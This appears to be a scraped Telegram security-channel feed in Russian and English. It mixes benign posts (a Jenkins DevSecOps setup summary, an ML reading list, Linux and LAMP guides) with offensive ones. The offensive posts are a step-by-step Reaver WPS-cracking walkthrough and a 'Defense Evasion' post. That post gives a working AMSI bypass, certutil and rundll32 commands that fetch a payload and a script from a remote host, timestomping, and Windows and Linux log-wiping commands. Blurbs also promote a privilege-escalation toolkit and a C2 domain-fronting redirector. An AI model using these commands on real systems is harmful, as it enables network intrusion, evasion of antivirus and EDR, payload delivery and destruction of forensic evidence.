All Security Engineering Courses

💻 Проблемы БД или почему большой продакшн спасут только массовые расстрелы запросов 💡 Изучаем детали: За счёт правильных, даже необязательно новых, а просто верно выбранных архитектурных подходов можно заставить работать не один конкретный запрос, а тысячу или даже  миллион. Это становится краеугольным камнем, потому что объёмы данных растут с такой скоростью, которую мы даже представить себе не могли ещё пять лет назад. Привет, участникам CodeGuard! Именно так считает наш сегодняшний гость – Дмитрий Немчин, руководитель направления эксплуатации инфраструктуры данных в Т-банке и по совместительству член программного комитетаData Internals, профессиональной ко... 📚 Перейти к статье 😈 CodeGuard: PySec Edition | #python

Beginning of the CodeGuard: PySec channel

Absolutely, Ville — here’s a clean, future‑proof summary of every step you took to get Jenkins + Docker + SonarQube + Trivy + OWASP DC working inside a single Jenkins container. This is the kind of reference you’ll be glad you saved. --- # 🧱 FULL SETUP SUMMARY — Jenkins CI/CD in a Single Container Below is the complete, ordered list of what you did, why you did it, and the exact commands or UI steps involved. --- # 🟦 1. Run Jenkins in Docker with access to host Docker You started Jenkins with: - Host Docker socket mounted - Jenkins home volume - Port 8080 exposed This allows Jenkins to run Docker builds using the host engine. --- # 🟦 2. Install required tools inside the Jenkins container Inside the container:

apt-get update
apt-get install -y docker.io unzip openjdk-17-jdk nodejs npm

You now have: - Docker CLI - JDK 17 - NodeJS - unzip All available to Jenkins. --- # 🟦 3. Install Sonar Scanner manually Downloaded and extracted:

cd /opt
wget https://github.com/SonarSource/sonar-scanner-cli/releases/download/4.4.0.2170/sonar-scanner-cli-4.4.0.2170-linux.zip
unzip sonar-scanner-cli-4.4.0.2170-linux.zip
mv sonar-scanner-4.4.0.2170-linux sonar-scanner

Scanner path:

/opt/sonar-scanner

--- # 🟦 4. Install required Jenkins plugins From Manage Jenkins → Plugins: - SonarQube Scanner for Jenkins - SonarQube - NodeJS - OWASP Dependency Check - Email Extension - Pipeline - Docker Pipeline (optional) --- # 🟦 5. Configure tools in Jenkins UI ### JDK Manage Jenkins → Global Tool Configuration → JDK - Name: jdk17 - Uncheck “Install automatically” - JAVA_HOME: ``` /usr/lib/jvm/java-17-openjdk-amd64 ``` ### NodeJS - Name: node16 - Uncheck “Install automatically” ### Sonar Scanner - Name: sonar-scanner - Uncheck “Install automatically” - Installation directory: ``` /opt/sonar-scanner ``` --- # 🟦 6. Run SonarQube server on the host You used:

docker run -d --name sonarqube \
  -p 9000:9000 \
  -v sonarqube_data:/opt/sonarqube/data \
  -v sonarqube_logs:/opt/sonarqube/logs \
  -v sonarqube_extensions:/opt/sonarqube/extensions \
  sonarqube:lts-community

--- # 🟦 7. Configure SonarQube in Jenkins Manage Jenkins → Configure System → SonarQube Servers - Name: sonar-server - URL: http://<host-ip>:9000 - Token: (generated in SonarQube UI) Matches Jenkinsfile:

withSonarQubeEnv('sonar-server')

--- # 🟦 8. Add credentials in Jenkins Path: Manage Jenkins → Credentials → System → Global credentials → Add Credentials You added: - DockerHub credentials (docker-cred) - SonarQube token (sonar-token) --- # 🟦 9. Fix Docker permission issue inside Jenkins container This was the big one. ### Problem: Host Docker socket group ID = 984 Container docker group ID = 102 ### Fix: recreate docker group inside container with correct GID Inside container:

groupdel docker
groupadd -g 984 docker
usermod -aG docker jenkins

Restart container:

docker restart jenkins

Verify:

docker exec -it jenkins bash
id jenkins
docker ps

Now Docker works. --- # 🟦 10. Run the pipeline — SUCCESS Your Jenkinsfile worked without modification because: - All tools were installed inside the container - Jenkins had access to Docker - SonarQube was reachable - Trivy and OWASP DC were installed - Credentials were configured --- # 🎉 Final Result You now have a fully functional DevSecOps pipeline running entirely inside a single Jenkins container, including: - Git checkout - SonarQube analysis - Quality gate - NPM install - OWASP Dependency Check - Trivy FS scan - Docker build - Docker push - Trivy image scan - Deployment - Email notifications This is a complete, production‑grade CI/CD pipeline.

MIT made its entire AI & ML library 100% FREE to access. These 12 books are the best place to start 👇 ↳ 𝗙𝗼𝘂𝗻𝗱𝗮𝘁𝗶𝗼𝗻𝘀 1. Foundations of Machine Learning https://cs.nyu.edu/~mohri/mlbook/ The mathematical backbone of ML - algorithms, theory, and how models actually learn. 2. Understanding Deep Learning https://udlbook.github.io/udlbook/ Neural networks explained visually and intuitively, from basics to modern architectures. 3. Deep Learning https://www.deeplearningbook.org/ The definitive deep learning reference, written by the researchers who shaped the field. 4. Introduction to Machine Learning Systems https://mlsysbook.ai/ How to design and build ML systems that work in production, not just in notebooks. 5. Algorithms for Optimization https://algorithmsbook.com/optimization/ The math behind how models improve - gradient methods, search, and decision-making. ↳ 𝗥𝗲𝗶𝗻𝗳𝗼𝗿𝗰𝗲𝗺𝗲𝗻𝘁 𝗟𝗲𝗮𝗿𝗻𝗶𝗻𝗴 6. Reinforcement Learning: An Introduction http://incompleteideas.net/book/the-book.html The classic RL textbook - how agents learn to make decisions through trial and reward. 7. Distributional Reinforcement Learning https://www.distributional-rl.org/ Goes beyond average rewards to model the full distribution of outcomes. 8. Multi-Agent Reinforcement Learning https://www.marl-book.com/ How multiple AI agents learn, compete, and cooperate in shared environments. ↳ 𝗣𝗿𝗼𝗯𝗮𝗯𝗶𝗹𝗶𝘀𝘁𝗶𝗰 𝗠𝗟 9. Probabilistic Machine Learning: An Introduction https://probml.github.io/pml-book/book1.html ML through the lens of probability - uncertainty, inference, and Bayesian thinking. 10. Probabilistic Machine Learning: Advanced Topics https://probml.github.io/pml-book/book2.html Deep dives into probabilistic models, approximate inference, and generative methods. ↳ 𝗥𝗲𝘀𝗽𝗼𝗻𝘀𝗶𝗯𝗹𝗲 & 𝗔𝗴𝗲𝗻𝘁𝗶𝗰 𝗔𝗜 11. Agents in the Long Game of AI https://direct.mit.edu/books/oa-monograph/5779/Agents-in-the-Long-Game-of-AIComputational How to build AI agents that are trustworthy, hybrid, and designed for long-term reliability. 12. Fairness and Machine Learning https://fairmlbook.org/ Where ML meets society - bias, discrimination, and how to build more equitable systems. ⭕️ Join for more: @DarkWeb_VIP https://t.me/+YyUiTGOgxFJmYTU8

Mosse Institute – MRT – Certified Red Teamer 2026 Pass : @Offensiv3Sec

😈 Reaver — как я взломал Wi-Fi за 4 часа через WPS (тест безопасности!) Думал, что WPS — это просто удобство для роутера? А на деле — огромная дыра. Reaver брутит PIN-код WPS и выдает WPA/WPA2 пароль. Многие роутеры падают за 4-10 часов. 🔍 Мой опыт: тестировал свою сеть и соседскую (с разрешения, конечно, а ты что подумал какую соседскую.. 😉) ⚪️ Шаг 1: Готовим интерфейс

sudo airmon-ng start wlan0    # mon0 готов к охоте
sudo airmon-ng check kill    # убиваем мешающие процессы

⚪️Шаг 2: Ищем жертву с WPS

sudo wash -i wlan0mon --ignore-locked

Ищем сети с WPS Locked: No — вот они, наши цели! ⚪️ Шаг 3: Лобовая атака Reaver

sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv -c 6 -K 1

- -vv — спамит логами, чтобы видеть прогресс - -c 6 — фиксируем канал (из wash) - -K 1 — stealth mode против блокировок 🔥 Мои настройки для стабильности:

--no-timeout           # не сбрасывать при глюках
--dh-small             # быстрее, но чуть менее надежно
--force-ns-noresp      # игнорируем неответы

⏱️ Результат: TP-Link пал за 4:17. D-Link продержался 7 часов. ⚠️ Важно: - WPS Locked = игра окончена, роутер заблокировал атаки - Качество сигнала > -60dB, иначе тормоза - Pixie Dust атака (pixiewps) может сократить до минут! 🛡 Защита (сразу после теста): 1. Отключи WPS в настройках роутера 2. Поменяй пароль на 20+ символов 3. Обнови прошивку (часто фиксит WPS) 📱 Посмотреть код 😈 CodeGuard: PySec Edition | Чат

⭐️ SANS - SEC760 Advanced Exploit Development for Penetration Testers

Real-world scenario [1]: (OTP bypass via logic flaw) Start your hacking journey with us: codelivly.com Grab the best hands on resources from : resources.codelivly.com

🐧 Шпаргалка: 10 команд Linux, которые должен знать каждый системный администратор Навигация, управление пользователями и сетью — база, без которой никуда. Сохраняйте. 1. Перемещение по файловой системе:

cd /home          # перейти в каталог
ls -la            # список файлов (включая скрытые)
pwd               # текущая папка

2. Управление пользователями:

sudo adduser john # создать пользователя
sudo userdel john # удалить пользователя
passwd            # сменить пароль

3. Права доступа:

chmod 755 file    # rwxr-xr-x
chown user:group file # сменить владельца

4. Процессы:

ps aux | grep nginx  # найти процесс
kill -9 1234         # убить процесс
htop                 # мониторинг в реальном времени

5. Сеть:

ping -c 4 8.8.8.8    # проверить связь
ss -tulpn            # все открытые порты
curl -I example.com  # посмотреть заголовки

6. Диски и память:

df -h                # свободное место на дисках
du -sh /var/log      # размер папки
free -h              # свободная RAM

7. Логи:

tail -f /var/log/syslog   # смотреть логи в реальном времени
journalctl -f -u ssh      # логи службы SSH

8. Архивация:

tar -czvf backup.tar.gz /home  # создать архив
tar -xzvf backup.tar.gz        # распаковать

9. Поиск:

find / -name "*.conf" -mtime -7  # найти файлы за последние 7 дней
grep -r "error" /var/log/        # поиск по логам

10. Перезагрузка и выключение:

sudo reboot          # перезагрузка
sudo shutdown -h now # выключение

Сохраняйте — пригодится каждый день. 😈 CodeGuard: PySec Edition | Чат

🐧 Как поднять свой первый веб-сервер: установка LAMP на Ubuntu 26.04 (пошагово) Хотите запустить сайт или веб-приложение? Связка LAMP (Linux, Apache, MySQL, PHP) — это классика, которая работает везде. Вот пошаговая инструкция для Ubuntu 26.04. Шаг 1. Обновите список пакетов sudo apt update Шаг 2. Установите Apache sudo apt install apache2 -y Шаг 3. Включите автозапуск и запустите Apache sudo systemctl enable apache2 sudo systemctl start apache2 Шаг 4. Проверьте статус sudo systemctl status apache2 Должно быть active (running) Шаг 5. Установите MySQL sudo apt install mysql-server -y Шаг 6. Включите и запустите MySQL sudo systemctl enable mysql sudo systemctl start mysql Шаг 7. Защитите MySQL sudo mysql_secure_installation — пройдите по шагам: установите пароль root, удалите анонимных пользователей, запретите удалённый доступ root. Шаг 8. Установите PHP sudo apt install php libapache2-mod-php php-mysql -y Шаг 9. Проверьте PHP Создайте тестовый файл: echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php Откройте в браузере http://ваш_ip/info.php — увидите информацию о PHP. 📌 Совет: после проверки удалите info.php или ограничьте к нему доступ — в целях безопасности. 👩‍💻 CodeGuard: Linux | Чат

Linux LPE Toolkit Multi-architecture privilege escalation toolkit with 24 exploits (amd64 pre-built; other architectures compiled via gcc at runtime). Supports amd64, arm64, 386, mips, mipsle, mips64, and mips64le. Detects kernel version, filters patched exploits, and tries each in order until root is obtained.

Defense Evasion: как атакующий прячется от EDR и антивируса 👋 Приветствую в мире цифровой безопасности! Сегодня расскажу про техники Defense Evasion - как атакующий скрывает свою активность от средств защиты уже после того как закрепился в системе. ⏺Defense Evasion - это не одна техника, а целый класс. Тут задача не выполнить действие тихо один раз, а сделать так чтобы весь дальнейший процесс не триггерил алерты. Без этого закрепление в системе бесполезно: EDR увидит подозрительный процесс через час и всё оборвёт. ⏺AMSI bypass - Windows Antimalware Scan Interface проверяет PowerShell-код перед выполнением. Атакующий патчит функцию проверки прямо в памяти:

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

После этого любой вредоносный скрипт проходит без сканирования - AMSI думает, что инициализация провалилась и просто пропускает всё дальше. ⏺Process injection - вместо запуска нового подозрительного процесса код внедряется в уже доверенный:

$proc = Get-Process -Name "explorer"
# Дальше через WriteProcessMemory и CreateRemoteThread
# внедряем shellcode в легитимный процесс

Для мониторинга - это выглядит, как обычный explorer.exe, а не как новый неизвестный бинарь - большинство базовых правил детекта смотрят именно на имя и происхождение процесса. ⏺Timestomping - меняем метки времени файла, чтобы он не выделялся среди системных:

# Linux
touch -r /bin/ls malicious_file
stat malicious_file

# Windows через PowerShell
(Get-Item file.exe).CreationTime = "01/15/2020 10:00:00"

Форензика часто ищет файлы созданные в момент инцидента - timestomping ломает эту эвристику полностью. ⏺Living off the land - используем только легитимные системные утилиты вместо своих инструментов, тогда сигнатурный детект бессилен:

# Скачивание файла через certutil вместо curl
certutil -urlcache -split -f http://10.0.0.1/payload.exe payload.exe

# Выполнение через rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://10.0.0.1/script.sct")

certutil и rundll32 подписаны Microsoft и есть на каждой Windows-машине - антивирус не может просто заблокировать их целиком. ⏺Log clearing - чистим или отключаем логирование там где были:

wevtutil cl Security
wevtutil cl System
# Linux
> /var/log/auth.log
history -c

⏺Детектируется через поведенческий анализ а не сигнатуры: аномальная работа с памятью легитимных процессов, вызов certutil с параметром urlcache, массовая очистка логов сразу после подозрительной активности, несоответствие timestamp файла и записей в MFT. Sysmon Event ID 1 (создание процесса) и 10 (доступ к памяти процесса) - основа для детекта большинства этих техник. ZeroDay | Серверная Админа | #defenseevasion

Cloudflare-Redirector Domain fronting через CloudFlare с поддержкой разных #C2, нескольких доменов и вебсокета. #evasion #работягам Telegram ✉️ @freedomfox

🔅 Raspberry Pi Essential Training 📝 Learn the basic vocabulary of Raspberry Pi, as well as how to plug in peripherals and perform basic computing tasks. You can also gain an understanding of the GPIO and Pico boards. 🌐 Author: Mark Niemann-Ross 🔰 Level: Beginner ⏰ Duration: 2h 19m 📋 Topics: Raspberry Pi, Internet of Things 🔗 Join Linkedin Learning for more courses